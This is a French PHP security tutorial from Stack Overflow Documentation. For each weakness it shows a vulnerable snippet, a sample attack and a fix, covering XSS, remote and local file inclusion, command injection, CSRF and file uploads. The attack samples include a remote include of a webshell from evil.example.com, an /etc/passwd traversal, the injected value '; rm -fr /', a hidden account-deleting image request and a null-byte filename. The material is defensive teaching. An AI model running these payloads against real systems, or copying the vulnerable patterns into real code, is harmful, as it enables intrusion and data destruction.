Recherche…


Introduction

Comme la majorité des sites Web utilisent PHP, la sécurité des applications est un sujet important pour les développeurs PHP qui souhaitent protéger leur site Web, leurs données et leurs clients. Cette rubrique couvre les meilleures pratiques de sécurité en PHP ainsi que les vulnérabilités et faiblesses courantes avec des exemples de correctifs dans PHP.

Remarques

Voir également

Rapport d'erreur

Par défaut, PHP affichera des erreurs , des avertissements et des messages de notification directement sur la page si quelque chose d'inattendu dans un script se produit. Ceci est utile pour résoudre des problèmes spécifiques avec un script mais en même temps, il génère des informations que vous ne souhaitez pas que vos utilisateurs connaissent.

Par conséquent, il est recommandé d'éviter d'afficher ces messages qui révèlent des informations sur votre serveur, comme votre arborescence de répertoires, par exemple, dans des environnements de production. Dans un environnement de développement ou de test, ces messages peuvent toujours être utiles à des fins de débogage.

Une solution rapide

Vous pouvez les désactiver pour que les messages ne s'affichent pas du tout, mais cela rend le débogage de votre script plus difficile.

<?php
  ini_set("display_errors", "0");
?>

Ou changez-les directement dans le fichier php.ini .

display_errors = 0

Manipulation des erreurs

Une meilleure option serait de stocker ces messages d'erreur à un endroit où ils sont plus utiles, comme une base de données:

set_error_handler(function($errno , $errstr, $errfile, $errline){
  try{
    $pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
      PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    ]);

    if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
      if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
        throw new Exception('Unable to execute query');
      }
    } else {
      throw new Exception('Unable to prepare query');
    }
  } catch (Exception $e){
    error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
  }
});

Cette méthode enregistre les messages dans la base de données et si cela échoue dans un fichier au lieu de le renvoyer directement dans la page. De cette façon, vous pouvez suivre les utilisateurs sur votre site Web et vous informer immédiatement si quelque chose ne va pas.

Cross-Site Scripting (XSS)

Problème

Le script intersite est l'exécution involontaire de code distant par un client Web. Toute application Web peut s'exposer à XSS si elle reçoit des informations d'un utilisateur et les affiche directement sur une page Web. Si input comprend HTML ou JavaScript, le code distant peut être exécuté lorsque ce contenu est rendu par le client Web.

Par exemple, si une partie tierce contient un fichier JavaScript :

// http://example.com/runme.js
document.write("I'm running");

Et une application PHP génère directement une chaîne transmise:

<?php
echo '<div>' . $_GET['input'] . '</div>';

Si un paramètre GET non contrôlé contient <script src="http://example.com/runme.js"></script> la sortie du script PHP sera:

<div><script src="http://example.com/runme.js"></script></div>

Le code JavaScript tiers s'exécutera et l'utilisateur verra "Je cours" sur la page Web.

Solution

En règle générale, ne faites jamais confiance aux données provenant d'un client. Chaque valeur GET, POST et cookie peut être quelque chose et doit donc être validée. Lors de la sortie de l'une de ces valeurs, échappez-les pour qu'elles ne soient pas évaluées de manière inattendue.

Gardez à l'esprit que même dans les applications les plus simples, les données peuvent être déplacées et qu'il sera difficile de suivre toutes les sources. Par conséquent, il est recommandé de toujours échapper à la sortie.

PHP fournit quelques moyens d'échapper à la sortie en fonction du contexte.

Fonctions de filtrage

Les fonctions de filtrage des PHP permettent aux données d'entrée du script php d'être désinfectées ou validées de plusieurs manières . Ils sont utiles lors de la sauvegarde ou de la sortie d'une entrée client.

Codage HTML

htmlspecialchars convertira tous les "caractères spéciaux HTML" dans leurs codages HTML, ce qui signifie qu'ils ne seront alors pas traités en HTML standard. Pour corriger notre exemple précédent en utilisant cette méthode:

<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';

Serait sortie:

<div>&lt;script src=&quot;http://example.com/runme.js&quot;&gt;&lt;/script&gt;</div>

Tout ce qui se trouve dans la <div> ne sera pas interprété comme une balise JavaScript par le navigateur, mais plutôt comme un simple nœud de texte. L'utilisateur verra en toute sécurité:

<script src="http://example.com/runme.js"></script>

Encodage d'URL

Lors de la sortie d'une URL générée dynamiquement, PHP fournit la fonction urlencode pour générer en toute sécurité des URL valides. Ainsi, par exemple, si un utilisateur peut saisir des données qui font partie d'un autre paramètre GET:

<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';

Toute entrée malveillante sera convertie en un paramètre d'URL codé.

Utilisation de bibliothèques externes spécialisées ou de listes OWASP AntiSamy

Parfois, vous souhaiterez envoyer du code HTML ou un autre type de code. Vous devrez conserver une liste de mots autorisés (liste blanche) et non autorisés (liste noire).

Vous pouvez télécharger des listes standard disponibles sur le site Web OWASP AntiSamy . Chaque liste est adaptée à un type d'interaction spécifique (ebay api, tinyMCE, etc.). Et c'est open source.

Il existe des bibliothèques existantes pour filtrer le HTML et empêcher les attaques XSS pour le cas général et effectuer au moins des listes AntiSamy avec une utilisation très simple. Par exemple, vous avez HTML Purifier

Inclusion de fichier

Inclusion de fichier à distance

L'inclusion de fichiers à distance (également appelée RFI) est un type de vulnérabilité qui permet à un attaquant d'inclure un fichier distant.

Cet exemple injecte un fichier hébergé à distance contenant un code malveillant:

<?php
include $_GET['page'];

/vulnerable.php?page= http://evil.example.com/webshell.txt ?

Inclusion de fichier local

L'inclusion de fichiers locaux (également appelée LFI) consiste à inclure des fichiers sur un serveur via le navigateur Web.

<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
    include $page;
} else {
    include 'index.php';
}

/vulnerable.php?page=../../../../etc/passwd

Solution à RFI & LFI:

Il est recommandé d'autoriser uniquement les fichiers que vous avez approuvés, et de les limiter uniquement à ceux-ci.

<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
    include($page);
} else {
    include('index.php');
}

Injection de ligne de commande

Problème

De la même manière que l'injection SQL permet à un attaquant d'exécuter des requêtes arbitraires sur une base de données, l'injection en ligne de commande permet à quelqu'un d'exécuter des commandes système non fiables sur un serveur Web. Avec un serveur incorrectement sécurisé, cela donnerait à un attaquant un contrôle total sur un système.

Supposons, par exemple, qu'un script permette à un utilisateur de répertorier le contenu d'un répertoire sur un serveur Web.

<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>

(Dans une application du monde réel, on utiliserait les fonctions ou objets intégrés de PHP pour obtenir le contenu du chemin. Cet exemple concerne une simple démonstration de sécurité.)

On pourrait espérer obtenir un paramètre de path similaire à /tmp . Mais comme toute entrée est autorisée, le path pourrait être ; rm -fr / . Le serveur web exécuterait alors la commande

ls; rm -fr /

et essayez de supprimer tous les fichiers de la racine du serveur.

Solution

Tous les arguments de commande doivent être échappés en utilisant escapeshellarg() ou escapeshellcmd() . Cela rend les arguments non exécutables. Pour chaque paramètre, la valeur d'entrée doit également être validée .

Dans le cas le plus simple, nous pouvons sécuriser notre exemple avec

<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>

Suivant l'exemple précédent avec la tentative de suppression de fichiers, la commande exécutée devient

ls '; rm -fr /'

Et la chaîne est simplement passée en paramètre à ls , plutôt que de terminer la commande ls et d'exécuter rm .

Il convient de noter que l'exemple ci-dessus est maintenant sécurisé de l'injection de commandes, mais pas de la traversée de répertoires. Pour résoudre ce problème, il convient de vérifier que le chemin normalisé commence par le sous-répertoire souhaité.

PHP offre une variété de fonctions pour exécuter des commandes système, notamment exec , passthru , proc_open , shell_exec et system . Tous doivent avoir leurs intrants soigneusement validés et échappés.

Fuite de PHP

Par défaut, PHP indiquera au monde quelle version de PHP vous utilisez, par exemple

X-Powered-By: PHP/5.3.8

Pour résoudre ce problème, vous pouvez soit changer php.ini:

expose_php = off

Ou changez l'en-tête:

header("X-Powered-By: Magic");

Ou si vous préférez une méthode htaccess:

Header unset X-Powered-By

Si l'une des méthodes ci-dessus ne fonctionne pas, il existe également la fonction header_remove() qui vous permet de supprimer l'en-tête:

header_remove('X-Powered-By');

Si les attaquants savent que vous utilisez PHP et la version de PHP que vous utilisez, il leur est plus facile d’exploiter votre serveur.

Tags de dépouillement

strip_tags est une fonction très puissante si vous savez l'utiliser. Pour prévenir les attaques de script inter-sites, il existe de meilleures méthodes, telles que le codage des caractères, mais la suppression des balises est utile dans certains cas.

Exemple de base

$string = '<b>Hello,<> please remove the <> tags.</b>';

echo strip_tags($string);

Sortie brute

Hello, please remove the tags.

Autoriser les tags

Supposons que vous vouliez autoriser une certaine balise mais pas d’autres balises, vous devez alors spécifier cela dans le deuxième paramètre de la fonction. Ce paramètre est facultatif. Dans mon cas, je veux seulement que la <b> soit transmise.

$string = '<b>Hello,<> please remove the <br> tags.</b>';

echo strip_tags($string, '<b>');

Sortie brute

<b>Hello, please remove the  tags.</b>

Avis (s)

HTML commentaires HTML et les balises PHP sont également supprimés. Ceci est codé en dur et ne peut pas être changé avec allowable_tags.

En PHP 5.3.4 et versions ultérieures, les balises XHTML fermeture automatique sont ignorées et seules les balises ne se fermant pas automatiquement doivent être utilisées dans allowable_tags. Par exemple, pour autoriser à la fois <br> et <br/> , vous devez utiliser:

<?php
strip_tags($input, '<br>');
?>

Contrefaçon de requête intersite

Problème

Cross-Site Request Forgery ou CSRF peut forcer un utilisateur final à générer sans le savoir des requêtes malveillantes sur un serveur Web. Ce vecteur d'attaque peut être exploité à la fois dans les requêtes POST et GET. Supposons par exemple que le point de terminaison url /delete.php?accnt=12 supprime le compte transmis depuis le paramètre accnt d'une requête GET. Maintenant, si un utilisateur authentifié rencontrera le script suivant dans une autre application

<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">

le compte serait supprimé.

Solution

Une solution commune à ce problème est l'utilisation de jetons CSRF . Les jetons CSRF sont incorporés dans les requêtes afin qu'une application Web puisse être certaine qu'une requête provient d'une source attendue dans le cadre du flux de travail normal de l'application. Tout d'abord, l'utilisateur effectue certaines actions, telles que l'affichage d'un formulaire, qui déclenche la création d'un jeton unique. Un exemple de formulaire mettant en œuvre cela pourrait ressembler à

<form method="get" action="/delete.php">
  <input type="text" name="accnt" placeholder="accnt number" />
  <input type="hidden" name="csrf_token" value="<randomToken>" />
  <input type="submit" />
</form>

Le jeton peut ensuite être validé par le serveur par rapport à la session utilisateur après l'envoi du formulaire pour éliminer les demandes malveillantes.

Code exemple

Voici un exemple de code pour une implémentation de base:

/* Code to generate a CSRF token and store the same */
...
<?php
  session_start();
  function generate_token() {
    // Check if a token is present for the current session
    if(!isset($_SESSION["csrf_token"])) {
        // No token present, generate a new one
        $token = random_bytes(64);
        $_SESSION["csrf_token"] = $token;
    } else {
        // Reuse the token
        $token = $_SESSION["csrf_token"];
    }
    return $token;
  }
?>
<body>
  <form method="get" action="/delete.php">
    <input type="text" name="accnt" placeholder="accnt number" />
    <input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
    <input type="submit" />
  </form>
</body>
...


/* Code to validate token and drop malicious requests */
...
<?php
  session_start();
  if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
    // Reset token
    unset($_SESSION["csrf_token"]);
    die("CSRF token validation failed");
  }
?>
...

De nombreuses bibliothèques et frameworks sont déjà disponibles et ont leur propre implémentation de la validation CSRF. Bien que ce soit l'implémentation simple de CSRF, vous devez écrire du code pour régénérer dynamiquement votre jeton CSRF afin d'empêcher le vol et la fixation de jeton CSRF.

Téléchargement de fichiers

Si vous souhaitez que les utilisateurs téléchargent des fichiers sur votre serveur, vous devez effectuer quelques contrôles de sécurité avant de déplacer le fichier téléchargé dans votre répertoire Web.

Les données téléchargées:

Ce tableau contient des données soumises par l' utilisateur et non des informations sur le fichier lui-même. Bien que ces données soient généralement générées par le navigateur, il est facile de créer une demande de publication sur le même formulaire à l'aide d'un logiciel.

$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
  • name - Vérifiez chaque aspect de celui-ci.
  • type - N'utilisez jamais ces données. Il peut être récupéré en utilisant les fonctions PHP à la place.
  • size - Coffre-fort à utiliser.
  • tmp_name - Coffre-fort à utiliser.

Exploiter le nom du fichier

Normalement, le système d'exploitation n'autorise pas les caractères spécifiques dans un nom de fichier, mais en usurpant la demande, vous pouvez les ajouter en autorisant des événements inattendus. Par exemple, nommons le fichier:

../script.php%00.png

Regardez bien ce nom de fichier et vous devriez remarquer quelques choses.

  1. Le premier à noter est le ../ , totalement illégal dans un nom de fichier et en même temps parfaitement bien si vous déplacez un fichier d'un répertoire vers un autre, ce que nous allons faire correctement?
  2. Maintenant , vous pourriez penser que vous étiez en train de vérifier les extensions de fichier correctement dans votre script , mais cet exploit repose sur le décodage d'URL, traduisant %00 à un null caractère, essentiellement dire au système d'exploitation, cette chaîne se termine ici, dépouillant .png hors le nom du fichier .

Alors maintenant, j'ai téléchargé script.php dans un autre répertoire, en passant des validations simples aux extensions de fichiers. Il contourne également .htaccess fichiers .htaccess interdisant les scripts à exécuter depuis votre répertoire de téléchargement.


Obtenir le nom de fichier et l'extension en toute sécurité

Vous pouvez utiliser pathinfo() pour extrapoler le nom et l'extension de manière sûre, mais nous devons d'abord remplacer les caractères indésirables dans le nom du fichier:

// This array contains a list of characters not allowed in a filename
$illegal   = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?", "*", " "]);
$filename  = str_replace($illegal, "-", $_FILES['file']['name']);

$pathinfo  = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename  = $pathinfo['filename']  ? $pathinfo['filename']:'';

if(!empty($extension) && !empty($filename)){
  echo $filename, $extension;
} else {
  die('file is missing an extension or name');
}

Alors que maintenant nous avons un nom de fichier et une extension qui peuvent être utilisés pour le stockage, je préfère quand même stocker ces informations dans une base de données et donner à ce fichier un nom généré par exemple, md5(uniqid().microtime())

+----+--------+-----------+------------+------+----------------------------------+---------------------+
| id | title  | extension | mime       | size | filename                         | time                |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| 1  | myfile | txt       | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+---------------------+

Cela résoudrait le problème des noms de fichiers en double et des exploits imprévus dans le nom du fichier. L'attaquant pourrait également deviner où ce fichier a été stocké, car il ne peut pas le cibler spécifiquement pour exécution.


Validation de type MIME

Vérifier une extension de fichier pour déterminer quel fichier il est ne suffit pas, car un fichier peut s'appeler image.png mais peut très bien contenir un script php. En vérifiant le type MIME du fichier téléchargé par rapport à une extension de fichier, vous pouvez vérifier si le fichier contient le nom auquel il fait référence.

Vous pouvez même aller plus loin pour valider les images, et cela les ouvre en fait:

if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
  if($img = imagecreatefromjpeg($filename)){
    imagedestroy($img);
  } else {
    die('image failed to open, could be corrupt or the file contains something else.');
  }
}

Vous pouvez récupérer le type MIME en utilisant une fonction intégrée ou une classe .


Liste blanche de vos téléchargements

Plus important encore, vous devez inclure les extensions de fichiers et les types MIME dans chaque liste.

function isFiletypeAllowed($extension, $mime, array $allowed)
{
    return  isset($allowed[$mime]) &&
            is_array($allowed[$mime]) &&
            in_array($extension, $allowed[$mime]);
}

$allowedFiletypes = [
    'image/png'  => [ 'png' ],
    'image/gif'  => [ 'gif' ],
    'image/jpeg' => [ 'jpg', 'jpeg' ],
];

var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));


Modified text is an extract of the original Stack Overflow Documentation
Sous licence CC BY-SA 3.0
Non affilié à Stack Overflow